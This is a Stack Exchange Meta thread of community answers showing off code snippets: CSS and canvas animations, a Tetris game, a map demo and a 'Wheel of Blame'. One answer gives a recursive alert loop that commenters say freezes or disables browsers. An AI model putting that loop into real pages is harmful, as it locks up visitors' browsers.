.enter().append("circle")
.attr("r", 12)
.attr("cx", 0)
.attr("cy", y)
.style("fill", function(d) { return z(Math.abs(d % 20 - 10)); })
.transition()
.duration(2500)
.delay(function(d) { return d * 40; })
.each(slide);
function slide() {
var circle = d3.select(this);
(function repeat() {
circle = circle.transition()
.attr("cx", width)
.transition()
.attr("cx", 0)
.each("end", repeat);
})();
}
circle {
fill: #000;
stroke: #000;
stroke-width: 1.5px;
}
<script src="https://d3js.org/d3.v3.min.js"></script>
-
15
SPAM ME ! Recurse test (Uncaught RangeError: Maximum call stack size exceeded )
NOTE: (IE 8/9 doesn't support console.log on normal window), try this with your dev tools open
IMP: Try it an window you don't bother to lose.
function recurse(){alert('');console.log('spam me');recurse();};recurse();
UPDATE 1: Spam the document window (IE 8/9 doesn't support console.log on normal window)
function recurse(){alert('');document.write('spam me');recurse();};recurse();
-
2
-
4
-
1
-
21
-
125This should be easy to solve. All we have to do is detect whether the code will ever terminate and... oh wait.– David Fullerton ModCommented Aug 25, 2014 at 22:33
-
3@DavidFullerton nice. I hadn't thought to make reference to the Halting Problem. ;)– Haney StaffCommented Aug 25, 2014 at 22:49
-
10This doesn't get blocked automatically by Chrome, but it gives you an option to "block further dialogs" Commented Aug 26, 2014 at 0:35
-
34I think this gets plus points for being the first to abuse the feature. :D:D:D Commented Aug 26, 2014 at 1:35
-
@LightnessRacesinOrbit that's very strange--I had to end my IE 11 task in Task Manager. It definitely didn't intervene. Unless there's some setting for that, but I really can't imagine there would be. Commented Aug 26, 2014 at 5:07
-
23@Haney I figured it out. It looks like IE9 was better than Firefox, but they fixed that in IE11 so now it's less smart again. Phew. That was a close one. Commented Aug 26, 2014 at 5:08
-
7@DavidFullerton - JS Bin does have some protection from infinite loops and bad performance in general: jsbin.com/blog/protection , including an open source loop protection module: github.com/jsbin/loop-protect . It's easy to say "halting problem" and give up, but it turns out there is a lot you can do to help your users.– KobiCommented Aug 26, 2014 at 8:29
-
6@Haney: On second popup, firefox asks if I want to stop showing popups. Commented Aug 26, 2014 at 10:48
-
7Safari, on iPad Air, is successfully unusable after this. >.< Commented Aug 26, 2014 at 12:49
-
2Maybe things like this should be hooked so they can be limited, e.g.
window.alert = alertHook
where alertHook would only show an alert up to n times. Commented Aug 26, 2014 at 23:47 -
2
Burnanating a greeting:
body {
background-color: #000;
padding: 1em;
}
h1 {
text-align: center;
margin-top:3em;
}
span {
color: #fff;
font-size:1.5em;
}
.fire {
animation: animation 1s ease-in-out infinite alternate;
-moz-animation: animation 1s ease-in-out infinite alternate;
-webkit-animation: animation 1s ease-in-out infinite alternate;
-o-animation: animation 1s ease-in-out infinite alternate;
}
.burn {
animation: animation .65s ease-in-out infinite alternate;
-moz-animation: animation .65s ease-in-out infinite alternate;
-webkit-animation: animation .65s ease-in-out infinite alternate;
-o-animation: animation .65s ease-in-out infinite alternate;
}
@keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-moz-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-webkit-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-o-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
<h1>
<span class="fire">[H</span><span class="burn">e</span><span class="fire">l</span><span class="burn">l</span><span class="fire">o</span><span class="burn">W</span><span class="fire">o</span><span class="burn">r</span><span class="fire">l</span><span class="burn">d</span><span class="fire">!]</span>
</h1>
How about a simple Canvas and Google maps snippet test?
var map;
function initialize() {
var mapOptions = {
zoom: 4,
center: new google.maps.LatLng(37.6,-95.665)
};
map = new google.maps.Map(document.getElementById('map-canvas'),
mapOptions);
}
google.maps.event.addDomListener(window, 'load', initialize);
html, body, #map-canvas {
height: 100%;
margin: 0px;
padding: 0px
}
<!DOCTYPE html>
<html>
<head>
<title>Simple Map</title>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<style>
</style>
<script src="https://maps.googleapis.com/maps/api/js?v=3.exp"></script>
</head>
<div id="map-canvas"></div>
</body>
</html>
-
12
-
1I remember when Street View blew my mind. Now you can apply it as an added gimmick to a SO question. It still blows my mind though. Commented May 31, 2015 at 19:48
-
1Oops! Something went wrong. This page didn't load Google Maps correctly. See the JavaScript console for technical details.– SabitoCommented Oct 7, 2020 at 10:41
PHP Code
(don't mind the scrollbar)
<?php ?><script>
$store = array(0, 1, 0, 1, 0, 0); function array(){ return [].slice.apply(arguments) }var preg_replace=function(regex,w,str){var re=regex.split('/').splice(1,2);re[1]+='g';return str.replace(RegExp.apply(0,re),w)},str_split=function(s,n){var a=[],n=n||1;for(var i=0;i<s.length;i+=n)a.push(s[i]);return a;},implode=function(w,a){return a.join(w)},var_dump=function(t){document.write((typeof t=='object'?(t.length>-1?'array':'object'):typeof t)+(t.length!==void 0?'('+t.length+')':'')+' '+JSON.stringify(t).replace(/\[/,'{').replace(/\]/,'}').replace(/,([^,])/g,', $1'))},styl=document.createElement('style');styl.innerHTML='body{font-family:monospace}';document.head.appendChild(styl);
$check = str_split(preg_replace('/10/','1',implode('',$store)));
var_dump($check); </script><?php
?>
-
20This blew my mind, then really pissed me off, then made me laugh. Great work.– captncraig StaffCommented Feb 23, 2015 at 18:15
Tetris
Left - move left.
Right - move right.
Up - rotate clockwise.
Down - accelerate.
var fs = "1111:01|01|01|01*011|110:010|011|001*110|011:001|011|010*111|010:01|11|01:010|111:10|11|10*11|11*010|010|011:111|100:11|01|01:001|111*01|01|11:100|111:11|10|10:111|001", now = [3,0], pos = [4,0];
var gP = function(x,y) { return document.querySelector('[data-y="'+y+'"] [data-x="'+x+'"]'); };
var draw = function(ch, cls) {
var f = fs.split('*')[now[0]].split(':')[now[1]].split('|').map(function(a){return a.split('')});
for(var y=0; y<f.length; y++){
for(var x=0; x<f[y].length; x++){
if(f[y][x]=='1') {
if(x+pos[0]+ch[0]>9||x+pos[0]+ch[0]<0||y+pos[1]+ch[1]>19||gP(x+pos[0]+ch[0],y+pos[1]+ch[1]).classList.contains('on')) return false;
gP(x+pos[0]+ch[0], y+pos[1]+ch[1]).classList.add(cls!==undefined?cls:'now');
}
}
}
pos = [pos[0]+ch[0], pos[1]+ch[1]];
};
var deDraw = function(){ if(document.querySelectorAll('.now').length>0) deDraw(document.querySelector('.now').classList.remove('now')); };
var check = function(){
for(var i=0; i<20; i++)
if(document.querySelectorAll('[data-y="'+i+'"] .brick.on').length == 10)
return check(roll(i), document.querySelector('#result').innerHTML=Math.floor(document.querySelector('#result').innerHTML)+10);
};
var roll = function(ln){ if(false !== (document.querySelector('[data-y="'+ln+'"]').innerHTML = document.querySelector('[data-y="'+(ln-1)+'"]').innerHTML) && ln>1) roll(ln-1); };
window.addEventListener('keydown', kdf = function(e){
if(e.keyCode==38&&false!==(now[1]=((prv=now[1])+1)%fs.split('*')[now[0]].split(':').length) && false===draw([0,0], undefined, deDraw())) draw([0,0],undefined, deDraw(), now=[now[0],prv]);
if((e.keyCode==39||e.keyCode==37)&&false===draw([e.keyCode==39?1:-1,0],undefined,deDraw())) draw([0,0],undefined,deDraw());
if(e.keyCode == 40)
if(false === draw([0,1], undefined, deDraw())) {
if(draw([0,0], 'on', deDraw())||true) check();
if(false === draw([0,0], undefined, now = [Math.floor(Math.random()*fs.split('*').length),0], pos = [4,0])) {
toV=-1;
alert('Your score: '+document.querySelector('#result').innerHTML);
}
}
});
toF = function() {
kdf({keyCode:40});
setTimeout(function(){if(toV>=0)toF();}, toV=toV>0?toV-0.5:toV);
};
toF(toV = 500);
#stack {
width: 130px;
height: 260px;
border: solid 1px black;
border-top: 0px;
}
.brick {
width: 11px;
height: 11px;
border: solid 1px white;
background: white;
float: left;
}
.brick.on {
background: black;
}
.brick.now {
background: green;
}
<div class="score">score: <span id="result">0</span></div>
<div id="stack">
<div data-y="0" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="1" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="2" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="3" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="4" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="5" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="6" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="7" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="8" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="9" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="10" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="11" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="12" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="13" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="14" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="15" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="16" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="17" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="18" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="19" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
</div>
Some crazy CSS 3D transforms and animation. Why not?
(this is adapted from the code at http://desandro.github.io/3dtransforms/docs/cube.html)
@keyframes rotate {
from {
transform: translateZ(-300px) translateY(0px) rotateY(0deg) rotateZ(50deg) rotateX(0deg);
}
50% {
transform: translateZ(-300px) translateY(0px) rotateY(180deg) rotateZ(30deg) rotateX(100deg);
}
to {
transform: translateZ(-300px) translateY(0px) rotateY(360deg) rotateZ(50deg) rotateX(0deg);
}
}
.container {
width: 200px;
height: 200px;
position: relative;
margin: 40px auto 0 auto;
border: 1px solid #CCC;
perspective: 1000px;
}
#cube {
width: 100%;
height: 100%;
position: absolute;
top: -120px;
transform: translateZ(-100px) translateY(100px);
transform-style: preserve-3d;
transition: transform 1s;
animation: rotate 2s ease-in 1s infinite;
}
#cube figure {
display: block;
position: absolute;
width: 196px;
height: 196px;
border: 2px solid black;
line-height: 196px;
font-size: 120px;
font-weight: bold;
color: #000;
text-align: center;
background: rgba(255,255,255,0.5) !important;
}
#cube .front {
background: hsla(0, 100%, 50%, 0.7);
transform: translateZ(100px);
}
#cube .back {
background: hsla(60, 100%, 50%, 0.7);
transform: rotateX(-180deg) translateZ(100px);
}
#cube .right {
background: hsla(120, 100%, 50%, 0.7);
transform: rotateY(90deg) translateZ(100px);
}
#cube .left {
background: hsla(180, 100%, 50%, 0.7);
transform: rotateY(-90deg) translateZ(100px);
}
#cube .top {
background: hsla(240, 100%, 50%, 0.7);
transform: rotateX(90deg) translateZ(100px);
}
#cube .bottom {
background: hsla(300, 100%, 50%, 0.7);
transform: rotateX(-90deg) translateZ(100px);
}
<script src="//cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
<section class="container">
<div id="cube" class="show-right">
<figure class="front">⚀</figure>
<figure class="back">⚁</figure>
<figure class="right">⚂</figure>
<figure class="left">⚃</figure>
<figure class="top">⚄</figure>
<figure class="bottom">⚅</figure>
</div>
</section>
-
11
-
4and the unicode is still highlightable in the render! ⚀ ⚁ ⚂ ⚃ ⚄ ⚅ !– ocæonCommented Apr 6, 2019 at 21:09
This should have been done way sooner.
document.write('Hello World!')
div:before {
content: "Hello World!";
display: block;
}
<div>Hello World!</div>
-
-
11@tbodt, why would it be recursing at all? It's writing hello world in three different ways, one with javascript, one with html, and one with CSS on the sole element in the body tag. Commented Aug 29, 2014 at 20:09
The good old <marquee>
;)
<marquee>I am an unicorn and I eat other unicorns.</marquee>
-
13
-
2
The Wheel of Blame!
$(function () {
$.getJSON('http://anyorigin.com/get?url=' + encodeURIComponent('http://chat.meta.stackoverflow.com/rooms/info/89/tavern-on-the-meta') + '&callback=?', function (data) {
parser = new DOMParser();
htmlDoc = parser.parseFromString(data.contents, "text/html");
var a = htmlDoc.getElementsByClassName('username');
var b = htmlDoc.getElementsByClassName('user-gravatar48');
var c = document.getElementsByTagName('ul')[0];
for (var i = 0; i < a.length; i++) {
c.innerHTML = c.innerHTML + "<li><img src='" + b[i].src + "'/>It's " + a[i].innerHTML + '\'s fault!</li>';
}
var li = $('ul li'),
spinBtn = $('#spin');
for (var i = 0; i < 3; i++) {
li.clone().appendTo('ul');
}
var randNum;
function spin() {
randNum = Math.random();
spinBtn.attr('disabled', true).text('Hang on!');
li.first().animate({
marginTop: -(li.first().outerHeight(true) * (Math.floor(randNum * li.length * 2) + li.length * 2)) - 2
}, 5000, 'easeOutQuad', function () {
spinBtn.attr('disabled', false).text('Spin Again!');
});
}
spinBtn.click(function () {
li.first().css('margin-top', 0);
spin();
return false;
});
spin();
});
});
body {
font-family: Arial, sans-serif;
margin: 20px;
}
.clearfix {
clear: both;
}
ul {
float: left;
margin-left: 20px;
height: 24px;
background-color: #efefef;
padding: 10px 20px 10px 10px;
overflow: hidden;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
-moz-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3);
}
ul li {
font-size: 20px;
margin-bottom: 30px;
}
ul li img {
width: 24px;
height: 24px;
margin-right: 5px;
vertical-align: bottom;
}
#csharp {
display: inline-block;
width: 24px;
margin-right: 5px;
}
#blame {
float: left;
font-size: 12px;
margin-top: 15px;
}
#spin {
float: left;
margin: -5px 0 0 15px;
padding: 1px 3px 2px;
}
#sub {
font-size: 11px;
color: #ccc;
clear: both;
padding-top: 20px;
}
#sub a {
color: #346C95;
}
#sub a:hover {
color: #59B3EF;
}
#sub code {
font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace;
}
#spin {
position:absolute;
-moz-box-shadow:inset 0px 0px 0px 0px #fce2c1;
-webkit-box-shadow:inset 0px 0px 0px 0px #fce2c1;
box-shadow:inset 0px 0px 0px 0px #fce2c1;
background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #ffc477), color-stop(1, #fb9e25) );
background:-moz-linear-gradient( center top, #ffc477 5%, #fb9e25 100% );
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffc477', endColorstr='#fb9e25');
background-color:#ffc477;
-webkit-border-top-left-radius:42px;
-moz-border-radius-topleft:42px;
border-top-left-radius:42px;
-webkit-border-top-right-radius:0px;
-moz-border-radius-topright:0px;
border-top-right-radius:0px;
-webkit-border-bottom-right-radius:42px;
-moz-border-radius-bottomright:42px;
border-bottom-right-radius:42px;
-webkit-border-bottom-left-radius:0px;
-moz-border-radius-bottomleft:0px;
border-bottom-left-radius:0px;
text-indent:0px;
border:1px solid #eeb44f;
display:inline-block;
color:#ffffff;
font-family:Arial;
font-size:15px;
font-weight:bold;
font-style:normal;
height:65px;
line-height:65px;
width:131px;
text-decoration:none;
text-align:center;
text-shadow:-1px -1px 0px #cc9f52;
}
#spin:active {
background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #fb9e25), color-stop(1, #ffc477) );
background:-moz-linear-gradient( center top, #fb9e25 5%, #ffc477 100% );
}
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fb9e25', endColorstr='#ffc477');
background-color:#fb9e25;
}.spin:active {
position:relative;
top:1px;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script type="text/javascript" src="http://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>
<p id="blame">The Wheel of Blame!</p>
<br class="clearfix" />
<ul>
<li><img src="https://i.sstatic.net/DdIcm.png" alt="" /> It's the SO Dev Team's fault!</li>
<li><span id="csharp">C#</span> It's C#'s fault!</li></ul>
<button id="spin" disabled>Loading...</button>
-
And I was just about to do this one. Also seems that it's always Tim Stone's fault, but this could be because of a blocked script on my end.– gunr2171Commented Aug 26, 2014 at 13:41
-
4@gunr2171 it appears to be broken, always pointing on same person so feel free to fix it. ;) Commented Aug 26, 2014 at 13:42
-
1@gunr2171 also note it's taking all the members of MSE Tavern, unlike the original Wheel which had a fixed list. Commented Aug 26, 2014 at 13:43
-
I started to fix it, then I found that this mess of an implementation would take more than 60 seconds to fix, then I realised I didn't care, so I gave up and rolled back. Commented Aug 26, 2014 at 14:01
-
@LightnessRacesinOrbit cheers, it's taken from a fiddle I once messed with, trying to improve the original and messing things up in the process. Commented Aug 26, 2014 at 14:19
-
Is it just me, or does the wheel give the same answer every time?– user1228Commented Aug 26, 2014 at 17:07
-
1Is it just me, or are comment deletions broken? Goddamnit.– user1228Commented Aug 26, 2014 at 17:08
-
@Will comments can be deleted just fine, as for same answer you're right, I took borked version by mistake and no time ATM to fix it - luckily, it's just a sandbox here. :D Commented Aug 26, 2014 at 18:49
-
@iStimple it's bugged, didn't delve deep enough to find why it's not random. You're there because you're in the Tavern. :D Commented Aug 26, 2014 at 20:12
-
-
1It's not random because CORS is required to load random.org. You also didn't request a new random number when you click the button.– Sumurai8Commented Aug 31, 2014 at 8:01
-
@Sumurai8 heh, not my code to begin with, was just messing around with the original code long ago (intending just to take the Tavern's members instead of a fixed list) and never had time to really finish it. Thanks a bunch! :D Commented Aug 31, 2014 at 8:06
-
3
-
@Sumurai8 remind me in next April Fools or Winter Bash! :) Commented Aug 31, 2014 at 10:05
-
A starry night sky.
w=c.width=window.innerWidth,h=c.height=window.innerHeight,C=c.getContext('2d');(function L(){requestAnimationFrame(L);C.fillStyle='rgba('+[0,0,0,M.abs(M.sin(Date.now())/10)]+')';C.fillRect(0,0,w,h);C.fillStyle='rgb('+[R()*255|0,R()*255|0,R()*255|0]+')';C.fillRect(R()*w,R()*h,3,3)})(M=Math,R=M.random)
*{padding:0;margin:0;background:#000}
<canvas id=c>
w=c.width=window.innerWidth;
h=c.height=window.innerHeight;
C=c.getContext('2d');
x=0,y=0,s=1;
(function Z(){
setTimeout(Z,0);
N=Date.now()/1e3;
for(y=0;y<h;y+=s){
b=1e3*-~x/-~y;
f='rgb('+[A(S(N-b))*255|0,A(S(N-b*2))*255|0,A(S(N-b*3))*255|0]+')';
C.fillStyle=f;
C.fillRect(x,y,s,s);
}
x=x<w?x+s:0;
})(S=Math.sin,A=Math.abs)
*{padding:0;margin:0;background:#000}
<canvas id=c>
CSS :nth-child()
and animation
properties
* {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
body {
background: whitesmoke;
text-align: center;
-webkit-perspective: 1000;
-moz-perspective: 1000;
perspective: 1000;
}
.wrapper {
margin: 0 auto;
}
.loader {
height: .8em;
width: .8em;
border-radius: .2em;
background: white;
display: inline-block;
opacity: 0;
margin-top: 20px;
}
.loader {
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
transform: translateX(0);
}
.loader:nth-child(1n+2) {
-webkit-animation: flipintoright 750ms 375ms infinite;
-moz-animation: flipintoright 750ms 375ms infinite;
animation: flipintoright 750ms 375ms infinite;
}
.loader:nth-child(2n+1) {
-webkit-animation: flipintoright 750ms infinite;
-moz-animation: flipintoright 750ms infinite;
animation: flipintoright 750ms infinite;
}
@-webkit-keyframes flipintoright {
0% {
-webkit-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
-webkit-transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
-webkit-transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
-webkit-transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
-webkit-transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}
@-moz-keyframes flipintoright {
0% {
-moz-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
-moz-transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
-moz-transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
-moz-transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
-moz-transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}
@keyframes flipintoright {
0% {
-webkit-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}
<div class="wrapper">
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<p>Loading...</p>
</div>
HTML5 PROGRESS BAR
@import url(http://fonts.googleapis.com/css?family=Expletus+Sans);
/* Basic resets */
* {
margin:0; padding:0;
box-sizing: border-box;
}
body {
margin: 50px auto 0;
max-width: 800px;
font-family: "Expletus Sans", sans-serif;
}
li {
width: 50%;
float: left;
list-style-type: none;
padding-right: 5.3333333%;
}
li:nth-child(even) { margin-bottom: 5em;}
h2 {
margin: 0 0 1.5em;
border-bottom: 1px solid #ccc;
padding: 0 0 .25em;
}
/* Styling an indeterminate progress bar */
progress:not(value) {
/* Add your styles here. As part of this walkthrough we will focus only on determinate progress bars. */
}
/* Styling the determinate progress element */
progress[value] {
/* Get rid of the default appearance */
appearance: none;
/* This unfortunately leaves a trail of border behind in Firefox and Opera. We can remove that by setting the border to none. */
border: none;
/* Add dimensions */
width: 100%; height: 20px;
/* Although firefox doesn't provide any additional pseudo class to style the progress element container, any style applied here works on the container. */
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
/* Of all IE, only IE10 supports progress element that too partially. It only allows to change the background-color of the progress value using the 'color' attribute. */
color: royalblue;
position: relative;
margin: 0 0 1.5em;
}
/*
Webkit browsers provide two pseudo classes that can be use to style HTML5 progress element.
-webkit-progress-bar -> To style the progress element container
-webkit-progress-value -> To style the progress element value.
*/
progress[value]::-webkit-progress-bar {
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
}
progress[value]::-webkit-progress-value {
position: relative;
background-size: 35px 20px, 100% 100%, 100% 100%;
border-radius:3px;
/* Let's animate this */
animation: animate-stripes 5s linear infinite;
}
@keyframes animate-stripes { 100% { background-position: -100px 0; } }
/* Let's spice up things little bit by using pseudo elements. */
progress[value]::-webkit-progress-value:after {
/* Only webkit/blink browsers understand pseudo elements on pseudo classes. A rare phenomenon! */
content: '';
position: absolute;
width:5px; height:5px;
top:7px; right:7px;
background-color: white;
border-radius: 100%;
}
/* Firefox provides a single pseudo class to style the progress element value and not for container. -moz-progress-bar */
